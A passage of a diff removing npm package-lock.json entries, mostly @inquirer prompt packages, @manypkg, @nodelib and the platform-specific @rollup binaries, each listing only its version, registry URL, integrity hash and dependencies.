"node": ">=18.18" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/nzakas" - } - }, - "node_modules/@inquirer/ansi": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/@inquirer/ansi/-/ansi-1.0.2.tgz", - "integrity": "sha512-S8qNSZiYzFd0wAcyG5AXCvUHC5Sr7xpZ9wZ2py9XR88jUz8wooStVx5M6dRzczbBWjic9NP7+rY0Xi7qqK/aMQ==", - "license": "MIT", - "engines": { - "node": ">=18" - } - }, - "node_modules/@inquirer/checkbox": { - "version": "4.3.2", - "resolved": "https://registry.npmjs.org/@inquirer/checkbox/-/checkbox-4.3.2.tgz", - "integrity": "sha512-VXukHf0RR1doGe6Sm4F0Em7SWYLTHSsbGfJdS9Ja2bX5/D5uwVOEjr07cncLROdBvmnvCATYEWlHqYmXv2IlQA==", - "license": "MIT", - "dependencies": { - "@inquirer/ansi": "^1.0.2", - "@inquirer/core": "^10.3.2", - "@inquirer/figures": "^1.0.15", - "@inquirer/type": "^3.0.10", - "yoctocolors-cjs": "^2.1.3" - }, - "engines": { - "node": ">=18" - }, - "peerDependencies": { - "@types/node": ">=18" - }, - "peerDependenciesMeta": { - "@types/node": { - "optional": true - } - } - }, - "node_modules/@inquirer/confirm": { - "version": "5.1.21", - "resolved": "https://registry.npmjs.org/@inquirer/confirm/-/confirm-5.1.21.tgz", - "integrity": "sha512-KR8edRkIsUayMXV+o3Gv+q4jlhENF9nMYUZs9PA2HzrXeHI8M5uDag70U7RJn9yyiMZSbtF5/UexBtAVtZGSbQ==", - "license": "MIT", - "dependencies": { - "@inquirer/core": "^10.3.2", - "@inquirer/type": "^3.0.10" - }, - "engines": { - "node": ">=18" - }, - "peerDependencies": { - "@types/node": ">=18" - }, - "peerDependenciesMeta": { - "@types/node": { - "optional": true - } - } - }, - "node_modules/@inquirer/core": { - "version": "10.3.2", - "resolved": "https://registry.npmjs.org/@inquirer/core/-/core-10.3.2.tgz", - "integrity": "sha512-43RTuEbfP8MbKzedNqBrlhhNKVwoK//vUFNW3Q3vZ88BLcrs4kYpGg+B2mm5p2K/HfygoCxuKwJJiv8PbGmE0A==", - "license": "MIT", - "dependencies": { - "@inquirer/ansi": "^1.0.2", - "@inquirer/figures": "^1.0.15", - "@inquirer/type": "^3.0.10", - "cli-width": "^4.1.0", - "mute-stream": "^2.0.0", - "signal-exit": "^4.1.0", - "wrap-ansi": "^6.2.0", - "yoctocolors-cjs": "^2.1.3" - }, - "engines": { - "node": ">=18" - }, - "peerDependencies": { - "@types/node": ">=18" - }, - "peerDependenciesMeta": { - "@types/node": { - "optional": true - } - } - }, - "node_modules/@inquirer/editor": { - "version": "4.2.23", - "resolved": "https://registry.npmjs.org/@inquirer/editor/-/editor-4.2.23.tgz", - "integrity": "sha512-aLSROkEwirotxZ1pBaP8tugXRFCxW94gwrQLxXfrZsKkfjOYC1aRvAZuhpJOb5cu4IBTJdsCigUlf2iCOu4ZDQ==", - "license": "MIT", - "dependencies": { - "@inquirer/core": "^10.3.2", - "@inquirer/external-editor": "^1.0.3", - "@inquirer/type": "^3.0.10" - }, - "engines": { - "node": ">=18" - }, - "peerDependencies": { - "@types/node": ">=18" - }, - "peerDependenciesMeta": { - "@types/node": { - "optional": true - } - } - }, - "node_modules/@inquirer/expand": { - "version": "4.0.23", - "resolved": "https://registry.npmjs.org/@inquirer/expand/-/expand-4.0.23.tgz", - "integrity": "sha512-nRzdOyFYnpeYTTR2qFwEVmIWypzdAx/sIkCMeTNTcflFOovfqUk+HcFhQQVBftAh9gmGrpFj6QcGEqrDMDOiew==", - "license": "MIT", - "dependencies": { - "@inquirer/core": "^10.3.2", - "@inquirer/type": "^3.0.10", - "yoctocolors-cjs": "^2.1.3" - }, - "engines": { - "node": ">=18" - }, - "peerDependencies": { - "@types/node": ">=18" - }, - "peerDependenciesMeta": { - "@types/node": { - "optional": true - } - } - }, - "node_modules/@inquirer/external-editor": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/@inquirer/external-editor/-/external-editor-1.0.3.tgz", - "integrity": "sha512-RWbSrDiYmO4LbejWY7ttpxczuwQyZLBUyygsA9Nsv95hpzUWwnNTVQmAq3xuh7vNwCp07UTmE5i11XAEExx4RA==", - "license": "MIT", - "dependencies": { - "chardet": "^2.1.1", - "iconv-lite": "^0.7.0" - }, - "engines": { - "node": ">=18" - }, - "peerDependencies": { - "@types/node": ">=18" - }, - "peerDependenciesMeta": { - "@types/node": { - "optional": true - } - } - }, - "node_modules/@inquirer/figures": { - "version": "1.0.15", - "resolved": "https://registry.npmjs.org/@inquirer/figures/-/figures-1.0.15.tgz", - "integrity": "sha512-t2IEY+unGHOzAaVM5Xx6DEWKeXlDDcNPeDyUpsRc6CUhBfU3VQOEl+Vssh7VNp1dR8MdUJBWhuObjXCsVpjN5g==", - "license": "MIT", - "engines": { - "node": ">=18" - } - }, - "node_modules/@inquirer/input": { - "version": "4.3.1", - "resolved": "https://registry.npmjs.org/@inquirer/input/-/input-4.3.1.tgz", - "integrity": "sha512-kN0pAM4yPrLjJ1XJBjDxyfDduXOuQHrBB8aLDMueuwUGn+vNpF7Gq7TvyVxx8u4SHlFFj4trmj+a2cbpG4Jn1g==", - "license": "MIT", - "dependencies": { - "@inquirer/core": "^10.3.2", - "@inquirer/type": "^3.0.10" - }, - "engines": { - "node": ">=18" - }, - "peerDependencies": { - "@types/node": ">=18" - }, - "peerDependenciesMeta": { - "@types/node": { - "optional": true - } - } - }, - "node_modules/@inquirer/number": { - "version": "3.0.23", - "resolved": "https://registry.npmjs.org/@inquirer/number/-/number-3.0.23.tgz", - "integrity": "sha512-5Smv0OK7K0KUzUfYUXDXQc9jrf8OHo4ktlEayFlelCjwMXz0299Y8OrI+lj7i4gCBY15UObk76q0QtxjzFcFcg==", - "license": "MIT", - "dependencies": { - "@inquirer/core": "^10.3.2", - "@inquirer/type": "^3.0.10" - }, - "engines": { - "node": ">=18" - }, - "peerDependencies": { - "@types/node": ">=18" - }, - "peerDependenciesMeta": { - "@types/node": { - "optional": true - } - } - }, - "node_modules/@inquirer/password": { - "version": "4.0.23", - "resolved": "https://registry.npmjs.org/@inquirer/password/-/password-4.0.23.tgz", - "integrity": "sha512-zREJHjhT5vJBMZX/IUbyI9zVtVfOLiTO66MrF/3GFZYZ7T4YILW5MSkEYHceSii/KtRk+4i3RE7E1CUXA2jHcA==", - "license": "MIT", - "dependencies": { - "@inquirer/ansi": "^1.0.2", - "@inquirer/core": "^10.3.2", - "@inquirer/type": "^3.0.10" - }, - "engines": { - "node": ">=18" - }, - "peerDependencies": { - "@types/node": ">=18" - }, - "peerDependenciesMeta": { - "@types/node": { - "optional": true - } - } - }, - "node_modules/@inquirer/prompts": { - "version": "7.10.1", - "resolved": "https://registry.npmjs.org/@inquirer/prompts/-/prompts-7.10.1.tgz", - "integrity": "sha512-Dx/y9bCQcXLI5ooQ5KyvA4FTgeo2jYj/7plWfV5Ak5wDPKQZgudKez2ixyfz7tKXzcJciTxqLeK7R9HItwiByg==", - "license": "MIT", - "dependencies": { - "@inquirer/checkbox": "^4.3.2", - "@inquirer/confirm": "^5.1.21", - "@inquirer/editor": "^4.2.23", - "@inquirer/expand": "^4.0.23", - "@inquirer/input": "^4.3.1", - "@inquirer/number": "^3.0.23", - "@inquirer/password": "^4.0.23", - "@inquirer/rawlist": "^4.1.11", - "@inquirer/search": "^3.2.2", - "@inquirer/select": "^4.4.2" - }, - "engines": { - "node": ">=18" - }, - "peerDependencies": { - "@types/node": ">=18" - }, - "peerDependenciesMeta": { - "@types/node": { - "optional": true - } - } - }, - "node_modules/@inquirer/rawlist": { - "version": "4.1.11", - "resolved": "https://registry.npmjs.org/@inquirer/rawlist/-/rawlist-4.1.11.tgz", - "integrity": "sha512-+LLQB8XGr3I5LZN/GuAHo+GpDJegQwuPARLChlMICNdwW7OwV2izlCSCxN6cqpL0sMXmbKbFcItJgdQq5EBXTw==", - "license": "MIT", - "dependencies": { - "@inquirer/core": "^10.3.2", - "@inquirer/type": "^3.0.10", - "yoctocolors-cjs": "^2.1.3" - }, - "engines": { - "node": ">=18" - }, - "peerDependencies": { - "@types/node": ">=18" - }, - "peerDependenciesMeta": { - "@types/node": { - "optional": true - } - } - }, - "node_modules/@inquirer/search": { - "version": "3.2.2", - "resolved": "https://registry.npmjs.org/@inquirer/search/-/search-3.2.2.tgz", - "integrity": "sha512-p2bvRfENXCZdWF/U2BXvnSI9h+tuA8iNqtUKb9UWbmLYCRQxd8WkvwWvYn+3NgYaNwdUkHytJMGG4MMLucI1kA==", - "license": "MIT", - "dependencies": { - "@inquirer/core": "^10.3.2", - "@inquirer/figures": "^1.0.15", - "@inquirer/type": "^3.0.10", - "yoctocolors-cjs": "^2.1.3" - }, - "engines": { - "node": ">=18" - }, - "peerDependencies": { - "@types/node": ">=18" - }, - "peerDependenciesMeta": { - "@types/node": { - "optional": true - } - } - }, - "node_modules/@inquirer/select": { - "version": "4.4.2", - "resolved": "https://registry.npmjs.org/@inquirer/select/-/select-4.4.2.tgz", - "integrity": "sha512-l4xMuJo55MAe+N7Qr4rX90vypFwCajSakx59qe/tMaC1aEHWLyw68wF4o0A4SLAY4E0nd+Vt+EyskeDIqu1M6w==", - "license": "MIT", - "dependencies": { - "@inquirer/ansi": "^1.0.2", - "@inquirer/core": "^10.3.2", - "@inquirer/figures": "^1.0.15", - "@inquirer/type": "^3.0.10", - "yoctocolors-cjs": "^2.1.3" - }, - "engines": { - "node": ">=18" - }, - "peerDependencies": { - "@types/node": ">=18" - }, - "peerDependenciesMeta": { - "@types/node": { - "optional": true - } - } - }, - "node_modules/@inquirer/type": { - "version": "3.0.10", - "resolved": "https://registry.npmjs.org/@inquirer/type/-/type-3.0.10.tgz", - "integrity": "sha512-BvziSRxfz5Ov8ch0z/n3oijRSEcEsHnhggm4xFZe93DHcUCTlutlq9Ox4SVENAfcRD22UQq7T/atg9Wr3k09eA==", - "license": "MIT", - "engines": { - "node": ">=18" - }, - "peerDependencies": { - "@types/node": ">=18" - }, - "peerDependenciesMeta": { - "@types/node": { - "optional": true - } - } - }, - "node_modules/@jridgewell/sourcemap-codec": { - "version": "1.5.5", - "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz", - "integrity": "sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==", - "dev": true, - "license": "MIT" - }, - "node_modules/@manypkg/find-root": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/@manypkg/find-root/-/find-root-1.1.0.tgz", - "integrity": "sha512-mki5uBvhHzO8kYYix/WRy2WX8S3B5wdVSc9D6KcU5lQNglP2yt58/VfLuAK49glRXChosY8ap2oJ1qgma3GUVA==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/runtime": "^7.5.5", - "@types/node": "^12.7.1", - "find-up": "^4.1.0", - "fs-extra": "^8.1.0" - } - }, - "node_modules/@manypkg/find-root/node_modules/@types/node": { - "version": "12.20.55", - "resolved": "https://registry.npmjs.org/@types/node/-/node-12.20.55.tgz", - "integrity": "sha512-J8xLz7q2OFulZ2cyGTLE1TbbZcjpno7FaN6zdJNrgAdrJ+DZzh/uFR6YrTb4C+nXakvud8Q4+rbhoIWlYQbUFQ==", - "dev": true, - "license": "MIT" - }, - "node_modules/@manypkg/find-root/node_modules/fs-extra": { - "version": "8.1.0", - "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-8.1.0.tgz", - "integrity": "sha512-yhlQgA6mnOJUKOsRUFsgJdQCvkKhcz8tlZG5HBQfReYZy46OwLcY+Zia0mtdHsOo9y/hP+CxMN0TU9QxoOtG4g==", - "dev": true, - "license": "MIT", - "dependencies": { - "graceful-fs": "^4.2.0", - "jsonfile": "^4.0.0", - "universalify": "^0.1.0" - }, - "engines": { - "node": ">=6 <7 || >=8" - } - }, - "node_modules/@manypkg/get-packages": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/@manypkg/get-packages/-/get-packages-1.1.3.tgz", - "integrity": "sha512-fo+QhuU3qE/2TQMQmbVMqaQ6EWbMhi4ABWP+O4AM1NqPBuy0OrApV5LO6BrrgnhtAHS2NH6RrVk9OL181tTi8A==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/runtime": "^7.5.5", - "@changesets/types": "^4.0.1", - "@manypkg/find-root": "^1.1.0", - "fs-extra": "^8.1.0", - "globby": "^11.0.0", - "read-yaml-file": "^1.1.0" - } - }, - "node_modules/@manypkg/get-packages/node_modules/@changesets/types": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/@changesets/types/-/types-4.1.0.tgz", - "integrity": "sha512-LDQvVDv5Kb50ny2s25Fhm3d9QSZimsoUGBsUioj6MC3qbMUCuC8GPIvk/M6IvXx3lYhAs0lwWUQLb+VIEUCECw==", - "dev": true, - "license": "MIT" - }, - "node_modules/@manypkg/get-packages/node_modules/fs-extra": { - "version": "8.1.0", - "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-8.1.0.tgz", - "integrity": "sha512-yhlQgA6mnOJUKOsRUFsgJdQCvkKhcz8tlZG5HBQfReYZy46OwLcY+Zia0mtdHsOo9y/hP+CxMN0TU9QxoOtG4g==", - "dev": true, - "license": "MIT", - "dependencies": { - "graceful-fs": "^4.2.0", - "jsonfile": "^4.0.0", - "universalify": "^0.1.0" - }, - "engines": { - "node": ">=6 <7 || >=8" - } - }, - "node_modules/@nodelib/fs.scandir": { - "version": "2.1.5", - "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz", - "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==", - "license": "MIT", - "dependencies": { - "@nodelib/fs.stat": "2.0.5", - "run-parallel": "^1.1.9" - }, - "engines": { - "node": ">= 8" - } - }, - "node_modules/@nodelib/fs.stat": { - "version": "2.0.5", - "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz", - "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==", - "license": "MIT", - "engines": { - "node": ">= 8" - } - }, - "node_modules/@nodelib/fs.walk": { - "version": "1.2.8", - "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz", - "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==", - "license": "MIT", - "dependencies": { - "@nodelib/fs.scandir": "2.1.5", - "fastq": "^1.6.0" - }, - "engines": { - "node": ">= 8" - } - }, - "node_modules/@polka/url": { - "version": "1.0.0-next.29", - "resolved": "https://registry.npmjs.org/@polka/url/-/url-1.0.0-next.29.tgz", - "integrity": "sha512-wwQAWhWSuHaag8c4q/KN/vCoeOJYshAIvMQwD4GpSb3OiZklFfvAgmj0VCBBImRpuF/aFgIRzllXlVX93Jevww==", - "dev": true, - "license": "MIT" - }, - "node_modules/@posthog/core": { - "version": "1.23.1", - "resolved": "https://registry.npmjs.org/@posthog/core/-/core-1.23.1.tgz", - "integrity": "sha512-GViD5mOv/mcbZcyzz3z9CS0R79JzxVaqEz4sP5Dsea178M/j3ZWe6gaHDZB9yuyGfcmIMQ/8K14yv+7QrK4sQQ==", - "license": "MIT", - "dependencies": { - "cross-spawn": "^7.0.6" - } - }, - "node_modules/@rollup/rollup-android-arm-eabi": { - "version": "4.58.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.58.0.tgz", - "integrity": "sha512-mr0tmS/4FoVk1cnaeN244A/wjvGDNItZKR8hRhnmCzygyRXYtKF5jVDSIILR1U97CTzAYmbgIj/Dukg62ggG5w==", - "cpu": [ - "arm" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "android" - ] - }, - "node_modules/@rollup/rollup-android-arm64": { - "version": "4.58.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.58.0.tgz", - "integrity": "sha512-+s++dbp+/RTte62mQD9wLSbiMTV+xr/PeRJEc/sFZFSBRlHPNPVaf5FXlzAL77Mr8FtSfQqCN+I598M8U41ccQ==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "android" - ] - }, - "node_modules/@rollup/rollup-darwin-arm64": { - "version": "4.58.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.58.0.tgz", - "integrity": "sha512-MFWBwTcYs0jZbINQBXHfSrpSQJq3IUOakcKPzfeSznONop14Pxuqa0Kg19GD0rNBMPQI2tFtu3UzapZpH0Uc1Q==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ] - }, - "node_modules/@rollup/rollup-darwin-x64": { - "version": "4.58.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.58.0.tgz", - "integrity": "sha512-yiKJY7pj9c9JwzuKYLFaDZw5gma3fI9bkPEIyofvVfsPqjCWPglSHdpdwXpKGvDeYDms3Qal8qGMEHZ1M/4Udg==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ] - }, - "node_modules/@rollup/rollup-freebsd-arm64": { - "version": "4.58.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.58.0.tgz", - "integrity": "sha512-x97kCoBh5MOevpn/CNK9W1x8BEzO238541BGWBc315uOlN0AD/ifZ1msg+ZQB05Ux+VF6EcYqpiagfLJ8U3LvQ==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "freebsd" - ] - }, - "node_modules/@rollup/rollup-freebsd-x64": { - "version": "4.58.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.58.0.tgz", - "integrity": "sha512-Aa8jPoZ6IQAG2eIrcXPpjRcMjROMFxCt1UYPZZtCxRV68WkuSigYtQ/7Zwrcr2IvtNJo7T2JfDXyMLxq5L4Jlg==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "freebsd" - ] - }, - "node_modules/@rollup/rollup-linux-arm-gnueabihf": { - "version": "4.58.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.58.0.tgz", - "integrity": "sha512-Ob8YgT5kD/lSIYW2Rcngs5kNB/44Q2RzBSPz9brf2WEtcGR7/f/E9HeHn1wYaAwKBni+bdXEwgHvUd0x12lQSA==", - "cpu": [ - "arm" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-arm-musleabihf": { - "version": "4.58.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.58.0.tgz", - "integrity": "sha512-K+RI5oP1ceqoadvNt1FecL17Qtw/n9BgRSzxif3rTL2QlIu88ccvY+Y9nnHe/cmT5zbH9+bpiJuG1mGHRVwF4Q==", - "cpu": [ - "arm" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-arm64-gnu": { - "version": "4.58.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.58.0.tgz", - "integrity": "sha512-T+17JAsCKUjmbopcKepJjHWHXSjeW7O5PL7lEFaeQmiVyw4kkc5/lyYKzrv6ElWRX/MrEWfPiJWqbTvfIvjM1Q==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-arm64-musl": { - "version": "4.58.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.58.0.tgz", - "integrity": "sha512-cCePktb9+6R9itIJdeCFF9txPU7pQeEHB5AbHu/MKsfH/k70ZtOeq1k4YAtBv9Z7mmKI5/wOLYjQ+B9QdxR6LA==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-loong64-gnu": { - "version": "4.58.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-gnu/-/rollup-linux-loong64-gnu-4.58.0.tgz", - "integrity": "sha512-iekUaLkfliAsDl4/xSdoCJ1gnnIXvoNz85C8U8+ZxknM5pBStfZjeXgB8lXobDQvvPRCN8FPmmuTtH+z95HTmg==", - "cpu": [ - "loong64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-loong64-musl": { - "version": "4.58.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-musl/-/rollup-linux-loong64-musl-4.58.0.tgz", - "integrity": "sha512-68ofRgJNl/jYJbxFjCKE7IwhbfxOl1muPN4KbIqAIe32lm22KmU7E8OPvyy68HTNkI2iV/c8y2kSPSm2mW/Q9Q==", - "cpu": [ - "loong64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-ppc64-gnu": { - "version": "4.58.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-gnu/-/rollup-linux-ppc64-gnu-4.58.0.tgz", - "integrity": "sha512-dpz8vT0i+JqUKuSNPCP5SYyIV2Lh0sNL1+FhM7eLC457d5B9/BC3kDPp5BBftMmTNsBarcPcoz5UGSsnCiw4XQ==", - "cpu": [ - "ppc64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-ppc64-musl": { - "version": "4.58.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-musl/-/rollup-linux-ppc64-musl-4.58.0.tgz", - "integrity": "sha512-4gdkkf9UJ7tafnweBCR/mk4jf3Jfl0cKX9Np80t5i78kjIH0ZdezUv/JDI2VtruE5lunfACqftJ8dIMGN4oHew==", - "cpu": [ - "ppc64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-riscv64-gnu": { - "version": "4.58.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.58.0.tgz", - "integrity": "sha512-YFS4vPnOkDTD/JriUeeZurFYoJhPf9GQQEF/v4lltp3mVcBmnsAdjEWhr2cjUCZzZNzxCG0HZOvJU44UGHSdzw==", - "cpu": [ - "riscv64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-riscv64-musl": { - "version": "4.58.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.58.0.tgz", - "integrity": "sha512-x2xgZlFne+QVNKV8b4wwaCS8pwq3y14zedZ5DqLzjdRITvreBk//4Knbcvm7+lWmms9V9qFp60MtUd0/t/PXPw==", - "cpu": [ - "riscv64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-s390x-gnu": { - "version": "4.58.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.58.0.tgz", - "integrity": "sha512-jIhrujyn4UnWF8S+DHSkAkDEO3hLX0cjzxJZPLF80xFyzyUIYgSMRcYQ3+uqEoyDD2beGq7Dj7edi8OnJcS/hg==", - "cpu": [ - "s390x" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-x64-gnu": { - "version": "4.58.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.58.0.tgz", - "integrity": "sha512-+410Srdoh78MKSJxTQ+hZ/Mx+ajd6RjjPwBPNd0R3J9FtL6ZA0GqiiyNjCO9In0IzZkCNrpGymSfn+kgyPQocg==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-x64-musl": { - "version": "4.58.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.58.0.tgz", - "integrity": "sha512-ZjMyby5SICi227y1MTR3VYBpFTdZs823Rs/hpakufleBoufoOIB6jtm9FEoxn/cgO7l6PM2rCEl5Kre5vX0QrQ==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-openbsd-x64": { - "version": "4.58.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-openbsd-x64/-/rollup-openbsd-x64-4.58.0.tgz", - "integrity": "sha512-ds4iwfYkSQ0k1nb8LTcyXw//ToHOnNTJtceySpL3fa7tc/AsE+UpUFphW126A6fKBGJD5dhRvg8zw1rvoGFxmw==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "openbsd" - ] - }, - "node_modules/@rollup/rollup-openharmony-arm64": { - "version": "4.58.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-openharmony-arm64/-/rollup-openharmony-arm64-4.58.0.tgz", - "integrity": "sha512-fd/zpJniln4ICdPkjWFhZYeY/bpnaN9pGa6ko+5WD38I0tTqk9lXMgXZg09MNdhpARngmxiCg0B0XUamNw/5BQ==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "openharmony" - ] - }, - "node_modules/@rollup/rollup-win32-arm64-msvc": { - "version": "4.58.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.58.0.tgz", - "integrity": "sha512-YpG8dUOip7DCz3nr/JUfPbIUo+2d/dy++5bFzgi4ugOGBIox+qMbbqt/JoORwvI/C9Kn2tz6+Bieoqd5+B1CjA==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ] - }, - "node_modules/@rollup/rollup-win32-ia32-msvc": { - "version": "4.58.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.58.0.tgz", - "integrity": "sha512-b9DI8jpFQVh4hIXFr0/+N/TzLdpBIoPzjt0Rt4xJbW3mzguV3mduR9cNgiuFcuL/TeORejJhCWiAXe3E/6PxWA==", - "cpu": [ - "ia32" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ] - }, - "node_modules/@rollup/rollup-win32-x64-gnu": { - "version": "4.58.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-gnu/-/rollup-win32-x64-gnu-4.58.0.tgz", - "integrity": "sha512-CSrVpmoRJFN06LL9xhkitkwUcTZtIotYAF5p6XOR2zW0Zz5mzb3IPpcoPhB02frzMHFNo1reQ9xSF5fFm3hUsQ==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ] - }, - "node_modules/@rollup/rollup-win32-x64-msvc": { - "version": "4.58.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.58.0.tgz", - "integrity": "sha512-QFsBgQNTnh5K0t/sBsjJLq24YVqEIVkGpfN2VHsnN90soZyhaiA9UUHufcctVNL4ypJY0wrwad0wslx2KJQ1/w==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ] - }, - "node_modules/@types/chai": { - "version": "5.2.3", - "resolved": "https://registry.npmjs.org/@types/chai/-/chai-5.2.3.tgz", - "integrity": "sha512-Mw558oeA9fFbv65/y4mHtXDs9bPnFMZAL/jxdPFUpOHHIXX91mcgEHbS5Lahr+pwZFR8A7GQleRWeI6cGFC2UA==", - "dev": true, - "license": "MIT", - "dependencies": { - "@types/deep-eql": "*", - "assertion-error": "^2.0.1" - } - }, - "node_modules/@types/deep-eql": { - "version": "4.0.2", - "resolved": "https://registry.npmjs.org/@types/deep-eql/-/deep-eql-4.0.2.tgz", - "integrity": "sha512-c9h9dVVMigMPc4bwTvC5dxqtqJZwQPePsWjPlpSOnojbor6pGqdk541lfA7AqFQr5pB1BRdq0juY9db81BwyFw==", - "dev": true, - "license": "MIT" - }, - "node_modules/@types/estree": { - "version": "1.0.8", - "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.8.tgz", - "integrity": "sha512-dWHzHa2WqEXI/O1E9OjrocMTKJl2mSrEolh1Iomrv6U+JuNwaHXsXx9bLu5gG7BUWFIN0skIQJQ/L1rIex4X6w==", - "dev": true, - "license": "MIT" - }, - "node_modules/@types/json-schema": { - "version": "7.0.15", - "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.15.tgz", - "integrity": 